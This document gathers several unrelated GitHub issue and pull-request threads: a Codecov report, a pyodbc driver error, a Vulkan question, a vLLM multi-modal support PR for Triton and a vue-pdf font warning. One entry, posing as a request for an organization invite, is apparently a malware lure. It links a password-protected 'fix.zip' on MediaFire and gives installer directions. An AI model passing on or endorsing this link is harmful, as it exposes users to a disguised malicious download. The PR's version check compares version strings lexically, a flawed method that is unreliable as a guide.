Thanks for reporting - I did comment this out a while ago, see #474, so I haven't seen errors like this in a while.
Is your repo definitely up to date with the code on our main branch?

Since I can't repro this, I'm going to assume it was just an intermittent issue with the user's network.
I'm closing for now, but happy to reopen if it happens again?


NoodleChat brand link

When clicking on the menu brand "NoodleChat", have the "Welcome" modal show.

update 07/09 git updated 3


regenerated from 7.0-preview swagger

Codecov Report

Merging #2290 into keyvault_1.0_preview will decrease coverage by 0.01%.
The diff coverage is 33.87%.

@@                   Coverage Diff                    @@
##           keyvault_1.0_preview    #2290      +/-   ##
========================================================
- Coverage                 53.04%   53.03%   -0.02%
========================================================
  Files                      4798     4800       +2
  Lines                    120487   120543      +56
========================================================
+ Hits                      63913    63929      +16
- Misses                    56574    56614      +40

Impacted Files
Coverage Δ

azure-keyvault/azure/keyvault/models/__init__.py
100% <100%> (ø)
:arrow_up:

...ure/keyvault/models/x509_certificate_properties.py
100% <100%> (ø)
:arrow_up:

...eyvault/azure/keyvault/models/issuer_parameters.py
100% <100%> (ø)
:arrow_up:

azure-keyvault/azure/keyvault/key_vault_client.py
69.33% <13.95%> (-1.51%)
:arrow_down:

.../keyvault/models/certificate_restore_parameters.py
71.42% <71.42%> (ø)

...azure/keyvault/models/backup_certificate_result.py
71.42% <71.42%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 71ab5cd...ba92c74. Read the comment docs.


pyodbc.Error: ('01000', "[01000] [unixODBC][Driver Manager]Can't open lib 'SQL Server Native Client 11.0' : file not found (0) (SQLDriverConnect)")

Please first make sure you have looked at:

Documentation: https://github.com/mkleehammer/pyodbc/wiki
Other issues

Environment
To diagnose, we usually need to know the following, including version numbers.  On Windows, be
sure to specify 32-bit Python or 64-bit:

Python: python3.6.0
pyodbc: 4.0.27
OS: centos7
DB: sqlserver
driver: SQL Server Native Client 11.0

Issue
Often it is easiest to describe your issue as "expected behavior" and "observed behavior".

Can you attach the contents of /etc/odbcinst.ini? And in there there should be something like
[SQL Server Native Client 11.0]
Driver=/path/to/driver.so

Can you also post the output of ldd /path/to/driver.so?

Closing due to lack of response.

Hi ,
Found any solutions , if yes please share it


Fix KojijiProvider NPE and improve observability / latency calculations

This PR does three main things:

Fixes the NPE introduced when trying to fix the CDI error in KojijiProvider
Adds more metrics for transfer decorators (still trying to test whether these are reported appropriately)
Improves upload latency by subtracting actual data transfer times from latency calculation

This PR depends on PR: https://github.com/Commonjava/galley/pull/292 and supercedes #1376

I just noticed that the new metrics stuff in the transfer decorator have some problems, not least of which is metric naming. I'm working on that.


How to get the VkResult of vkAcquireNextImageKHR?

Hi realitix, from vulkan I noticed that vkAcquireNextImageKHR returns the index of the next presentable image in the swapchain, which it is suppose to do. However, how do I access the VkResult from this function? As you can see from my code here, the logic that I have written would not work as it needs the VkResult of vkAcquireNextImageKHR.
        image_index = self.fnp['vkAcquireNextImageKHR'](
            self.logical_device, self.swapchain, UINT64_MAX,
            self.semaphore_image_available, VK_NULL_HANDLE )

        if image_index == VK_ERROR_OUT_OF_DATE_KHR:
            self._recreateSwapChain()
            logging.info("VK_ERROR_OUT_OF_DATE_KHR: Need to recreate swapchain image!")
        elif image_index != VK_SUCCESS and image_index != VK_SUBOPTIMAL_KHR:
            logging.error("Failed to acquire swapchain image!")
        print('image_index = ', image_index)

image_index should not be passed to the logic but the VkResult that is supposed to be returned by vkAcquireNextImageKHR.

I revisited vulkan readme on function says:

Vulkan functions usually return a VkResult, which returns the success and error codes/states of the function. vulkan is pythonic and converts VkResult to exception: if the result is not VK_SUCCESS, an exception is raised. More elaboration is given in the next section.

I think this is the correct way to write the logic. Correct?
        try:
            image_index = self.fnp['vkAcquireNextImageKHR'](
                self.logical_device, self.swapchain, UINT64_MAX,
                self.semaphore_image_available, VK_NULL_HANDLE )
        except VkException:
            if VK_SUBOPTIMAL_KHR:
                logging.error("Failed to acquire swapchain image!")
        except VkError:
            if VK_ERROR_OUT_OF_DATE_KHR:
                self._recreateSwapChain()


Update README.md

fixed the live demo link
fixes #701 and #709

Closing because we've rebranded since then and the demo link is also different now


Support input for llama3.2 multi-modal model

llama3.2 was supported since vllm 0.6.2, and multiple images as input was supported since vllm 0.6.3.post1.
We enhanced the model.py to make it support llama 3.2 multi-modal models.

Support both single image or multiple images as input

Image should be base64-encoded

Payload
{
    "text_input": "Please describe the images",
    "multi_modal_data": "{\"image\": [\"base64 encoded image1\", \"base64 encoded image2\"]}",
    "sampling_parameters": "{\"max_tokens\": 256, \"top_p\": 0.9}"
}

Some test result:
Image

Question
What is the content of this image?
Output
11B
"What is the content of this image? This image features a white domestic cat sitting on the floor of a room. The cat is looking up, possibly at a toy.  Several toys and pieces of wood appear in the foreground. The wall behind the cat appears to be light wooden. There is a darker wooden frame under a cabinet that resembles an entryway, and at the bottom of the photo, a person's hand can be seen. Overall, the image presents an intimate and domestic scene, with the cat and toys suggesting a home environment. The warm lighting and the presence of a person's hand add to the cozy and inviting atmosphere. The image conveys a sense of comfort and relaxation, making the viewer feel like they are peeking into a peaceful moment in a home.  Overall, the image is serene and appealing, inviting the viewer to imagine themselves in this peaceful scene. The content of the image evokes a sense of warmth, comfort, and tranquility. The image suggests a connection to nature, with the wooden floor and the toys bringing to mind the outdoors. The presence of a person's hand adds a human element, suggesting a sense of companionship and care. The overall mood of the image is one of serenity and contentment, inviting the viewer to relax and unwind. The image presents a peaceful and idyllic scene, with the cat and toys creating a sense of harmony and balance. The warm lighting and the wooden floor add to the cozy atmosphere, making the viewer feel like they are part of a peaceful and loving environment."
90B
"What is the content of this image? The image features a light-colored cat sitting on a mat, with a few toys scattered in front of it. In the background, there is a cabinet or piece of furniture that adds depth to the scene. The overall atmosphere suggests a cozy and inviting space, perfect for relaxation or playtime with the feline friend. The image captures a serene moment, inviting the viewer to appreciate the simple joys of life. The content of this image is a heartwarming portrayal of a cat in its natural habitat, surrounded by toys and comfort. It evokes feelings of warmth, comfort, and companionship, making it a delightful addition to any space. Whether you're a cat lover or simply appreciate the beauty of everyday moments, this image is sure to bring a smile to your face. So, take a moment to appreciate the serenity of this scene, and let the charm of the cat and its surroundings brighten up your day. The content of this image is a delightful portrayal of a cat in its natural habitat, surrounded by toys and comfort. It evokes feelings of warmth, comfort, and companionship, making it a delightful addition to any space. Whether you're a cat lover or simply appreciate the beauty of everyday moments, this image is sure to bring a smile to your face. So, take a moment to appreciate the serenity of this scene, and let the charm of the cat and its surroundings brighten up your day. "

@statiraju  Please have your team member review this PR

@harryskim @rmccorm4 @kthui Thank you so much for starting the review so quickly.
We will update the code to supply the images/audios as individual tensors and do some tests  to make sure it works well.

Hi @rmccorm4 @kthui @harryskim , I have updated the code and validated using the following payload format:
{
    "text_input": "descirbe the images",
    "image": ["image1_base64_encoded_see_attached_files", "image2_base64_encoded_see_attached_files"],
    "sampling_parameters": "{\"max_tokens\": 256, \"top_p\": 0.9}"
}

image1:

cat.txt
image2:

cherry_blossom.txt
text output
"descirbe the images here. The image shows a white cat with dark gray stripes sitting on a floor surrounded by cherry blossom branches. The cat is facing the camera and the flowers are pink. The background is blurry but appears to be the interior of a room with wooden cabinets or shelves. The overall atmosphere of the image is one of serenity and tranquility, with the cat and flowers creating a peaceful scene. The lighting in the image is soft and natural, with the sun shining through the windows and casting a warm glow over the scene. The image captures a moment of stillness and calmness, inviting the viewer to pause and appreciate the beauty of nature. The focus of the image is on the cat and the flowers, with the background fading into the distance. The overall composition of the image is simple yet effective, drawing the viewer's attention to the main subjects. The image could be used as a wallpaper or a cover photo for a social media post, and it could also be used in a magazine or a book as an illustration. Overall, the image is a beautiful representation of the beauty of nature and the serenity of a peaceful moment. it could evoke feelings of calmness and tranquility in the viewer, and it could inspire a sense of appreciation for the natural world. It could also"

Can we add a simple version check for enabling / disabling features supported across different vLLM versions?
It is because people could be using an older version that does not support the multi-modal yet, or still wish to receive "best_of_request" metrics on an older version.
For example, the check can be simply:
...
from vllm.version import __version__ as _VLLM_VERSION
...
class TritonPythonModel:
    @classmethod
    def auto_complete_config(auto_complete_model_config):
        ...
        if _VLLM_VERSION >= "0.6.3.post1":
            inputs.append({
                "name": "image",
                "data_type": "TYPE_STRING",
                "dims": [-1],  # can be multiple images as separate elements
                "optional": True,
            })
        ...
    ...
    async def generate(self, request):
        ...
        if _VLLM_VERSION >= "0.6.3.post1":
            image_input_tensor = ...
            ...
        ...
    ...

$ python3
Python 3.10.12 (main, Sep 11 2024, 15:47:36) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> "0.6.3.post1" >= "0.5.3.post1"
True
>>> "0.6.3.post1" >= "0.5.5"
True
>>> "0.6.3.post1" >= "0.6.3"
True
>>> "0.6.3.post1" >= "0.6.3.post1"
True
>>> "0.6.3.post1" >= "0.6.4"
False
>>>

@kthui Have added version check.  Please help review the change, thanks.

Hi @xiejibing, I am not able to find your signed CLA on our record. Can you send us the signed CLA following the instructions here? The signed CLA is required before we can merge your PR.

@kthui  Thanks! I will sign the CLA as soon as possible.

Hi @xiejibing, any update on the CLI? We will be adding new changes into the backend that could require this PR to be rebased.

Hi @kthui,  our company's legal department has approved the application to sign the CLA and is in the process of signing the CLA. The process should be completed quickly. Thank you and your team for waiting for our CLA, we will speed up the process.

Hi @kthui @harryskim @rmccorm4 , our CLA has been signed and been sent to triton-cla.nvidia.com.  Please help check and  merge the PR if it is OK. Thanks a lot.

We received the CLA and the PR is merged! Thanks for the awesome contributions @xiejibing @yiheng 🚀


Please invite me to the GitHub Community Organization

Name
Billy

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."


vue-pdf Unimplemented annotation type "BJCA:Annot"

hello，I was prompted to a mistake when loading PDF,I use Chinese fonts here,how should I set it?
Warning: Unimplemented annotation type "BJCA:Annot", falling back to base annotation.
Warning: Error during font loading: The CMap "baseUrl" parameter must be specified, ensure that the "cMapUrl" and "cMapPacked" API parameters are provided.
I hope you can help me. Thank you

You have to use CMap factory, see https://github.com/FranckFreiburger/vue-pdf/issues/152#issuecomment-484382497